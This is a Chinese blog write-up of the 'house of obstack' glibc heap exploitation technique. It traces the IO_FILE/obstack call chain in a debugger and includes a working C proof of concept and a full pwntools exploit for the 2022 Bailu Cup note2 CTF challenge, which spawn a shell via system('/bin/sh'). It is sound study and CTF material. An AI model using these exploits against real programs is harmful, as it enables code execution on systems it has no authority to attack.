不知从哪翻出来的 house of obstack 学习总结

前言

又是从之前文档里面扒出来的一个总结,再来水一篇博客。这篇应该写的非常早了,大概是 23 年 7 月写的,当时还在卷 glibc堆,对这个 obstack 的链子印象挺深的。

house of obstack 是目前网上较多的叫法,它由国外 repr 提出,由于不确定作者给它起的名字到底是什么,姑且称它为 house of obstack。它与 house of apple 相似,主要是触发的调用链变了,但思想不变。相较于 house of apple 的优点是在 glibc2.36 依然可以使用并且布置起来更简单一些。

概述

house of obstacklarge bin attack(或能达到同样效果的手法也可以)+ FSOP 组合出来的攻击,通过 large bin attack_IO_list_all 中写入一个堆地址以此来伪造一个 IO_FILE 。在 glibc2.23 之后的版本针对 IO_FILE 结构体的 vtable 地址做了检查,该手法通过小幅度改变 vtable 地址,让执行流偏离了正常的调用链,通过伪造 IO_FILE 结构体中的某些字段,最终实现任意地址执行且参数可控的效果.

利用条件为:

  1. 可以泄露 libc 地址和堆地址
  2. 可以使用任意地址写一个堆地址(通常是使用 large bin attack
  3. 可以从 main 函数返回或者调用 exit 函数

原理

说明: 以下的 glibc 源代码均来自 glibc-2.36

先来看下 exit 函数的宏观调用链

exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockp

第一次去改变 exit 正常的执行流是在这里的 _IO_OVERFLOW 这个宏 ,它位于 _IO_flush_all_lockp 函数中(如下)

int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

......

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
......
return result;
}

伪造 IO_FILE 结构体时, vtable 也是可控的(对这个地址做了范围的合法性检查),将原本 vtable 中的 _IO_file_jumps 改成 _IO_obstack_jumps 可以绕过检查(二者的距离很近)

_IO_OVERFLOW 寻找的函数指针是位于起始地址(正常情况下的 _IO_file_jumps )偏移 0x18 的位置,因此我们只要将正常的 _IO_file_jumps 改成 _IO_obstack_jumps+32 ,实际上 _IO_OVERFLOW 执行的就是 _IO_obstack_jumps+32+0x18 的函数指针,该位置的函数指针为 _IO_obstack_xsputn (如下)

pwndbg> p &_IO_obstack_jumps 
$16 = (const struct _IO_jump_t *) 0x7ffff7e163c0 <_IO_obstack_jumps>
pwndbg> telescope 0x7ffff7e163c0+0x18+32
00:00000x7ffff7e163f8 (_IO_obstack_jumps+56) —▸ 0x7ffff7c88590 (_IO_obstack_xsputn) ◂— endbr64

根据上面所说的伪造完成后(先不考虑要绕过检查的字段),此时程序会执行到 _IO_obstack_xsputn 函数上,从该函数开始会存在一条调用链如下

_IO_obstack_xsputn => _obstack_newchunk => CALL_CHUNKFUN => (*(h)->chunkfun)((h)->extra_arg, (size))

如果执行 (*(h)->chunkfun)((h)->extra_arg, (size)) 时, h->chunkfun 是可控的地址,那就相当于能完全控制执行流了。下面通过调试来判断 CALL_CHUNKFUN 宏被调用时h 是什么

 RAX  0xfbad2086
RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RCX 0x0
RDX 0x0
RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RSI 0x1
R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0
R9 0x20
R10 0x0
R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*R12 0xfbad2086
R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R14 0x0
R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RBP 0x2
RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*RIP 0x7ffff7ca773e (_obstack_newchunk+62) ◂— mov rax, qword ptr [rdi + 0x38]
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
0x7ffff7ca772b <_obstack_newchunk+43> movsxd rdx, dword ptr [rdi + 0x30]
0x7ffff7ca772f <_obstack_newchunk+47> lea r12, [rax + rdx + 0x64]
0x7ffff7ca7734 <_obstack_newchunk+52> mov rax, qword ptr [rdi]
0x7ffff7ca7737 <_obstack_newchunk+55> cmp r12, rax
0x7ffff7ca773a <_obstack_newchunk+58> cmovl r12, rax
0x7ffff7ca773e <_obstack_newchunk+62> mov rax, qword ptr [rdi + 0x38]
0x7ffff7ca7742 <_obstack_newchunk+66> test byte ptr [rdi + 0x50], 1
0x7ffff7ca7746 <_obstack_newchunk+70> je _obstack_newchunk+448 <_obstack_newchunk+448>

0x7ffff7ca774c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]
0x7ffff7ca7750 <_obstack_newchunk+80> mov rsi, r12
0x7ffff7ca7753 <_obstack_newchunk+83> call rax
─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zikh/Desktop/source_code/glibc-2.35/malloc/obstack.c
256 new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
257 if (new_size < h->chunk_size)
258 new_size = h->chunk_size;
259
260 /* Allocate and initialize the new chunk. */
261 new_chunk = CALL_CHUNKFUN (h, new_size);
262 if (!new_chunk)
263 (*obstack_alloc_failed_handler)();
264 h->chunk = new_chunk;
265 new_chunk->prev = old_chunk;
266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

上面正在执行的 mov rax, qword ptr [rdi + 0x38] 是通过 h 来获取 h->chunkfun 的值,此时的 h 就是 rdi _IO_2_1_stderr_ 首地址( 这里我并没有去伪造一个新的 IO_FILE ,而是在原本的 _IO_2_1_stderr_ 结构体的基础上进行了部分字段的修改 ,也就是原本的 _IO_2_1_stderr_ 的地址上伪造了 _IO_obstack_file 结构体),因为我们最初需要劫持 _IO_list_all ,所以遍历的第一个 IO_FILE 结构体都是我们可控的,自然 h->chunkfun 也是可控的

再来看下 (*(h)->chunkfun)((h)->extra_arg, (size)) 中的参数 (h)->extra_arg 如何控制,单步调试到赋值参数的位置(如下)

 RAX  0x555555555179 (backdoor) ◂— endbr64 
RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RCX 0x0
RDX 0x0
RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RSI 0x1
R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0
R9 0x20
R10 0x0
R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R12 0xfbad2086
R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R14 0x0
R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RBP 0x2
RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*RIP 0x7ffff7ca774c (_obstack_newchunk+76) ◂— mov rdi, qword ptr [rdi + 0x48]
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
0x7ffff7ca7737 <_obstack_newchunk+55> cmp r12, rax
0x7ffff7ca773a <_obstack_newchunk+58> cmovl r12, rax
0x7ffff7ca773e <_obstack_newchunk+62> mov rax, qword ptr [rdi + 0x38]
0x7ffff7ca7742 <_obstack_newchunk+66> test byte ptr [rdi + 0x50], 1
0x7ffff7ca7746 <_obstack_newchunk+70> je _obstack_newchunk+448 <_obstack_newchunk+448>

0x7ffff7ca774c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]
0x7ffff7ca7750 <_obstack_newchunk+80> mov rsi, r12
0x7ffff7ca7753 <_obstack_newchunk+83> call rax

0x7ffff7ca7755 <_obstack_newchunk+85> mov r13, rax
0x7ffff7ca7758 <_obstack_newchunk+88> test r13, r13
0x7ffff7ca775b <_obstack_newchunk+91> je _obstack_newchunk+465 <_obstack_newchunk+465>
─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zikh/Desktop/source_code/glibc-2.35/malloc/obstack.c
256 new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
257 if (new_size < h->chunk_size)
258 new_size = h->chunk_size;
259
260 /* Allocate and initialize the new chunk. */
261 new_chunk = CALL_CHUNKFUN (h, new_size);
262 if (!new_chunk)
263 (*obstack_alloc_failed_handler)();
264 h->chunk = new_chunk;
265 new_chunk->prev = old_chunk;
266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

此时的 mov rdi, qword ptr [rdi + 0x48] 是进行参数的赋值, rdi 现在为 _IO_2_1_stderr_ ,这意味着参数也是我们可控的。最终只要能让执行流走到这里,就能够任意地址执行并且参数可控(后续无论是执行 system("/bin/sh") 还是走 orw 都可以)

下面来列一下,执行流走到这里都需要哪些字段进行伪造

//_IO_flush_all_lockp函数
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

根据上面的部分得知,fp->_mode <= 0fp->_IO_write_ptr > fp->_IO_write_base 要同时满足

_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
obstack_grow (obstack, data, n);//此处的obstack_grow是可以触发到obstack_newchunk的宏
......
}

根据这部分代码得知 if (fp->_IO_write_ptr + n > fp->_IO_write_end) 要满足

# define obstack_grow(OBSTACK, where, length)				      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

这个 obstack_grow 宏要触发到 _obstack_newchunk ,需要满足条件 __o->next_free + __len > __o->chunk_limit

# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

如果想控制 rdi 的话,需要触发 (*(h)->chunkfun)((h)->extra_arg, (size)) 。这里使用了一个三目运算符,当 ((h)->use_extra_arg) TRUE 时,参数就为可控

总结一下,需要伪造的字段

  1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
  2. fp->_IO_write_ptr + n > fp->_IO_write_end
  3. __o->next_free + __len > __o->chunk_limit
  4. ((h)->use_extra_arg) == TRUE

上面有一些字段不属于 _IO_FILE 结构体,它们是 obstack 结构体中的,如下

struct obstack          /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};

它和 _IO_FILE_plus 结构体都属于 _IO_obstack_file ,这里只需要知道它们的关系即可。

struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};

示例

POC

//GLIBC 2.35-0ubuntu3.1
//gcc poc.c -o poc -g
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
size_t libc_base=(size_t)&printf-0x60770;
printf("libc_base @ 0x%lx\n",libc_base);

size_t system_addr=libc_base+0x50d60;
printf("system address @ 0x%lx\n",system_addr);

size_t bin_sh_addr=libc_base+0x1d8698;
printf("/bin/sh address @ 0x%lx\n",bin_sh_addr);

size_t *io_list_all=(size_t *)(libc_base+0x21a680);
printf("io_list_all address @ %p\n",io_list_all);

size_t io_obstack_jumps=libc_base+0x2163c0;
printf("io_obstack_jumps address @ 0x%lx\n",io_obstack_jumps);
size_t *ptr=malloc(0x400);
*(ptr + (0x18/8)) = 1;//_IO_read_base
*(ptr + (0x20/8)) = 0;//_IO_write_base
*(ptr + (0x28/8)) = 0x1;//_IO_write_ptr
*(ptr + (0x30/8)) = 0;//_IO_write_end
*(ptr + (0x38/8)) = (size_t)(system_addr);//_IO_buf_base
*(ptr + (0x48/8)) = bin_sh_addr;//_IO_save_base
*(ptr + (0x50/8)) = 1;//_IO_backup_base
*(ptr + (0xd8/8)) = (size_t)(io_obstack_jumps+32);//vtable
*(ptr + (0xe0/8)) = (size_t)ptr;

io_list_all[0]=(size_t)ptr;
exit(0);
}

这个 POC 是把 _IO_FILE_plusobstack 结构体重叠布置在一起了(在实际的攻击中,重叠布置在一起,会省下很多字节,减少 payload 的长度)。该攻击最终通过 FSOP 触发,在 exit 函数执行时,刷新了 _IO_list_all 链表中的所有文件流,刷新时调用了 _IO_overflow ,至此执行流偏离了正常的调用链,逐步被劫持为我们指定的地址。

2022柏鹭杯-note2

一时间找不到很合适的题目,这里以 2022柏鹭杯-note2 作为例题

基本信息

zikh@Pwner-machine:~/Desktop/pwn2$ checksec note2
[*] '/home/zikh/Desktop/pwn2/note2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

本题存在一个 UAF 漏洞,并且可以无限次的使用 adddelete show 函数,size 被限定到了 0x200 以下,并且可以触发 exit 函数退出。( libc 版本为 2.35 ,移除了各类 hook

解题思路

因为没有 edit 函数,因此我们考虑 double free ,但由于 key 机制的存在,无法直接在 tcache bin 直接打 double free,解决方法有两种,方法一是 house of botcake (本题可以打通,不过主要说一下第二个方法),方法二是填满 tcache bin ,然后在 fast bin中做出 double free ,再打 tcache poisoningIO_list_all 申请出来写入堆地址,从而触发最后的 house of obstack。(具体 fastbin 中做出的 double free 是如何打出 tcache poisoning 的可以参考这篇 文章safe-Linking 机制的绕过本文也不做提及)

house of obstack 的各个字段布局在下面的 EXP 中都进行了标注,并且上文也进行了详细的分析,所以具体的利用不再详细描述

EXP

from pwn import*
#context.log_level='debug'
p=process("./note2")
libc=ELF("libc.so.6")


def add(index,size,content):
p.sendlineafter(b"> ",str(1).encode())
p.sendlineafter(b"> ",str(index).encode())
p.sendlineafter(b"> ",str(size).encode())
p.sendlineafter(b"Enter content: ",content)

def show(index):
p.sendlineafter(b"> ",str(3).encode())
p.sendlineafter(b"> ",str(index).encode())

def delete(index):
p.sendlineafter(b"> ",str(2).encode())
p.sendlineafter(b"> ",str(index).encode())


for i in range(9):
add(i,0x100,b'a')
for i in range(8):
delete(i)
show(7)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))-0x219ce0
print('libc_base===>',hex(libc_base))

for i in range(8):
add(i,0x100,'a')

for i in range(9):
add(i,0x60,'a')

#---------------leak key----------------
delete(0)
show(0)
heap_base=(u64(p.recv(5).ljust(8,b'\x00')))<<12
print('heap_base===>',hex(heap_base))
#--------------------------------------
io_obstack_jumps=libc_base+0x2163c0
sys_addr=libc_base+0x50d60
heap_addr=0x1020+heap_base #位于io_list_all的chunk用户区


io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(sys_addr) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(heap_addr-0x10+0xe8) #rdi
io_file+=p64(1) # use_extra_arg
io_file+=p64(0)*16
io_file+=p64(io_obstack_jumps+0x20) #vtable
io_file+=p64(heap_addr-0x10) #obstack
io_file+=b'/bin/sh\x00'


add(9,0x200,io_file)
for i in range(1,7):
delete(i)

delete(7)
delete(8)
delete(7)


for i in range(7):
add(i,0x60,'a')

io_list_all=((heap_base+0xf40)>>12)^(libc_base+libc.symbols['_IO_list_all'])
add(7,0x60,p64(io_list_all))

add(0,0x60,'a')
add(0,0x60,'a')

add(0,0x60,p64(heap_addr-0x10))#get io_list_all
p.sendlineafter(b"> ",str(4))
p.interactive()

参考

SECCON CTF 2022 Quals] babyfile | repr (nasm.re)

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析 - 7resp4ss - 博客园 (cnblogs.com)